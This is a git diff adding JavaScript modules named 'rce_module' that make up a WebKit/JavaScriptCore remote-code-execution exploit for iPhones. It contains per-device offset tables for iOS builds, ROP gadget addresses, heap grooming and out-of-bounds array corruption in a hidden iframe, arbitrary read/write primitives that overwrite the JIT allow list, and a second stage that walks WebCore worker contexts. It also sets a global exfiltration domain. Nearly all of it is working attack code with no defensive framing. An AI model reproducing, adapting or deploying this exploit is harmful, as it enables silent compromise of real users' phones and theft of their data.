[0x272e4c000n]: "iPhone16,1_22G100", + [0x272e4c000n]: "iPhone16,2_22G100", + [0x27270c000n]: "iPhone17,1_22G100", + [0x27270c000n]: "iPhone17,2_22G100", + [0x2720a4000n]: "iPhone17,3_22G100", + [0x2720a4000n]: "iPhone17,4_22G100", + [0x271de4000n]: "iPhone17,5_22G100" +} +}; +const device_chipset = { +"iPhone11,2_4_6_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E240": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E252": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,2_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,3_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,4_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,5_22F76": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G86": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G90": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G100": "6149d995753968891870832e3fec9195", +}; + + print(`ios_version: ${ios_version}`); + const pthread_create_got = BigInt(parse_adrp_add(jsc_base + pthread_create_auth_stubs_offset[ios_version])); + print(`pthread_create_got: ${pthread_create_got.hex()}`); + const pthread_create = read64(pthread_create_got).noPAC(); + print(`pthread_create: ${pthread_create.hex()}`); + const libsystem_pthread_base = pthread_create - pthread_create_offset[ios_version]; + print(`libsystem_pthread_base: ${libsystem_pthread_base.hex()}`); + const libsystem_pthread_linkedit = read64(libsystem_pthread_base + 0x600n); + print(`libsystem_pthread_linkedit: ${libsystem_pthread_linkedit.hex()}`); + device_model = linkedit_to_device[ios_version][libsystem_pthread_linkedit]; + print("device_model: " + device_model); + chipset = device_chipset[device_model]; + offsets = rce_offsets[device_model]; + slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat; + print(`slide: ${slide.hex()}`); + for (const key of Object.keys(offsets)) { + if (offsets[key] >= 0x100000000n) offsets[key] += slide; + } + write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); + write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); + this.stage2(); + return true; + } + + stage2() { + print("Inside stage2"); + try + { + const contexts = this.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + const contexts_length = this.read32(contexts - 4n); + + let worker; + + for (let i = 0n; i < contexts_length; ++i) { + const scriptExecutionContext = this.read64(contexts + 0x30n * i + 0x20n); + if (!scriptExecutionContext) + continue; + + const vtable = this.read64(scriptExecutionContext); + //print(`vtable: ${vtable.noPAC()}`); + if (vtable.noPAC() != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) + continue; + + const id = this.read64(scriptExecutionContext + 0x138n); + if (id > maximum_id) { + maximum_id = id; + worker = scriptExecutionContext; + } + } + + print(`worker: ${worker.hex()}`); + + const script = this.read64(worker + 0x150n); + const workerOrWorkletThread = this.read64(worker + 0x160n); + const Strong_globalScopeWrapper = this.read64(script + 0x20n); + const globalScopeWrapper = this.read64(Strong_globalScopeWrapper); + const worker_global_butterfly = this.read64(globalScopeWrapper + 8n); + print(`butterfly:${worker_global_butterfly.hex()}`); + const unboxed_arr = this.read64(worker_global_butterfly); + const boxed_arr = this.read64(worker_global_butterfly + 8n); + const butterfly = this.read64(boxed_arr + 8n); + this.write64(unboxed_arr + 8n, butterfly); + print("Finished stage2 succesfully"); + } + catch(e) + { + print("got error in stage2: " + e); + } + } + + + start() { + const victim_array_allocation_size = (0x120>>3); + const victim_array_allocations_in_page = 50; + var victim_cursor = 0; + + const egg1 = 0x5f2893ab; + const egg2 = 0x163967eb; + const victim_list_size = 4*victim_array_allocations_in_page; + + //FIXME change "victim" to "victim", they don't serve the same purpose here. + const victim_array_RO = () => {return [1.1,2.2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8];} + var victim_list = new Array(victim_list_size).fill(1.1); + + var the_oob_object = new Array(); + the_oob_object[14] = 1.1; + for(let i = 0 ; i < 12; i++){ + the_oob_object[i] = i; + } + + //var the_oob_object = the_oob_object_RO(); + //the_oob_object[0] = 1.1; // we do this allocation now so thatonly on double->withStorage we will allocate. + //we count on COW to get us the rigth array sizes + // we can probably use fill but whatever... + for (let i = 0; i < victim_list_size; i++){ + victim_list[i] = victim_array_RO(); + } + + for (let i = 0; i < 2; i++){ + for (let j = 0 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = i; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + } + + for(let j = 0; j < 5; j++){ + victim_list[victim_cursor][0] = 3; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + + the_oob_object[1001] = 1.1; + the_oob_object.length = 31; + delete the_oob_object[0]; + for(let i = 1; i < 31; i++){ + the_oob_object[i] = 1.1; + } //object should have 0x1e(30) items loaded, we want to overwrite +0x25(37) + const oob_object_target_length = 32; + the_oob_object.length = oob_object_target_length; + const holes_to_add = (oob_object_target_length - 30); + + for (let j = 6 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = 3; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + + for (let i = 0; i < 1; i++){ + for (let j = 0 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = i; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + } + + let iframe_elem = document.createElement('iframe'); + iframe_elem.style.visibility = 'hidden'; + let otherGlobalObject = document.body.appendChild(iframe_elem).contentWindow; + let z = new otherGlobalObject.Array(1); + + otherGlobalObject.dopush_contigious = (x) => { + x.push(1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6); + } + + otherGlobalObject.dontjitme_contigious = () => { + for (let i = 0; i < 10000; i++){ + let regexp = new otherGlobalObject.RegExp('a', 'g'); + let a = new otherGlobalObject.String('a'); + let magic = a.match(regexp); + otherGlobalObject.dopush_contigious(magic); + } + } + + const dopush_float = (x) => { + x.push(1.1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + } + + const dontjitme_float = () => { + for (let i = 0; i < 10000; i++){ + let arr = new Array(1); + arr[0] = 1.1; + dopush_float(arr); + } + } + + let oob_object = new Array(1); + oob_object[0] = 1.1; + oob_object[1001] = 1.1; + oob_object.length = 4; + let testvar = undefined; + otherGlobalObject.Object.defineProperty(otherGlobalObject.Array.prototype, 128662, {set(v) {for(let i = 0; i < holes_to_add; i++){ the_oob_object[0] = v;} return 42;}}); null; + + let counter = 0; + otherGlobalObject.Object.defineProperty(otherGlobalObject.Array.prototype, 128661, {set() {counter++; if (counter == 1) { doDoubleMagic();} return 42;}}); null; + + const doDoubleMagic = () => { + let doublemagic = new Array(1); + doublemagic[0] = 1.1; + dopush_float(doublemagic); + } + + otherGlobalObject.domagic = () => { + let regexp = new otherGlobalObject.RegExp('a', 'g'); + let a = new otherGlobalObject.String('a'); + let newmagic = a.match(regexp); + let magic_indexes = new otherGlobalObject.Array(498, 1003, 2008, 4018, 8038, 16078, 32158, 64318, 128636); + for (let i of magic_indexes) { + newmagic[i] = 1; + } + otherGlobalObject.dopush_contigious(newmagic); + return newmagic; + } + + otherGlobalObject.dontjitme_contigious(); + dontjitme_float(); + + return sleep(wait_for_jit_compilation_ms).then(() => { + + let debug_1 = otherGlobalObject.domagic(); null; + + the_oob_object.splice(30,0,1,2,3,4,5,6,7); + + //now we should have a victim with a nice length. + + var oob_array_idx = undefined; + var overlap_array_idx = undefined; + var overlap_idx_in_oob_array = undefined; + var oob_array = undefined; + + + const check_victim = () => { + for (let j = 0; j < victim_cursor; j++){ + if (victim_list[j].length > (victim_array_allocation_size*10)){ + oob_array_idx = j; + break; + } + } + if(oob_array_idx === undefined){ + return false; + } + oob_array = victim_list[oob_array_idx]; + for (let i = 1; i < victim_array_allocation_size*10; i++){ + if(oob_array[i+1] === egg1 && oob_array[i+2] === egg2){ + overlap_array_idx = oob_array[i+3]; + overlap_idx_in_oob_array = i-1; + break; + } + } + if(overlap_array_idx === undefined){ + return false; + } + this.oob_array = oob_array; + this.overlap_idx_in_oob_array = overlap_idx_in_oob_array + 1; + this.overlap_array = victim_list[overlap_array_idx]; + return true; + } + + let got_victim = check_victim(); + if(!got_victim) + { + print("Failed RCE"); + return false; + } + print("RCE success"); + return this.stage1(); + }); + } +} +globalThis.check_attempt = check_attempt; diff --git a/channel-builder-ds/source/rce_module_18.6.js b/channel-builder-ds/source/rce_module_18.6.js new file mode 100644 index 0000000..7d4c31b --- /dev/null +++ b/channel-builder-ds/source/rce_module_18.6.js @@ -0,0 +1,4 @@ +// for displaying hex value +function dummyy(x) { + return '0x' + x.toString(16); +} diff --git a/channel-builder-ds/source/rce_module_18.7.js b/channel-builder-ds/source/rce_module_18.7.js new file mode 100644 index 0000000..c8afedf --- /dev/null +++ b/channel-builder-ds/source/rce_module_18.7.js @@ -0,0 +1,8949 @@ +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +/* HEADERS */ +const ab = new ArrayBuffer(8); +const u64 = new BigUint64Array(ab); +const u32 = new Uint32Array(ab); +const u8 = new Uint8Array(ab); +const f64 = new Float64Array(ab); + +BigInt.fromDouble = function(v) { f64[0] = v; return u64[0]; }; +BigInt.fromBytes = function(bytes) { for (let i = 0; i < 8; ++i) { u8[i] = bytes[i]; } return u64[0]; }; +BigInt.prototype.hex = function() { let s = '0x' + this.toString(16); return s; }; +BigInt.prototype.asDouble = function() { u64[0] = this; return f64[0]; }; +BigInt.prototype.add = function(other) { return this + other; }; +BigInt.prototype.sub = function(other) { return this - other; } +BigInt.prototype.noPAC = function() { return this & 0x7fffffffffn; } +BigInt.prototype.asInt32s = function() { + u64[0] = this; + let lo = u32[0]; + let hi = u32[1]; + if (hi >= 0x80000000) { + hi = (hi - 0x100000000) & 0xffffffff; + } + if (lo >= 0x80000000) { + lo = (lo - 0x100000000) & 0xffffffff; + } + return [lo, hi]; +}; +[].shift(); +/* HEADERS END */ +function normalizeIosVersionKey(v) { + if (v == null) return ''; + if (typeof v === 'string') { + if (v.indexOf('.') >= 0) return v.replace(/\./g, ','); + return v; + } + if (v.join) return v.join(','); + return String(v); +} +rce_offsets = { + "iPhone11,2_4_6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,2_4_6_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + 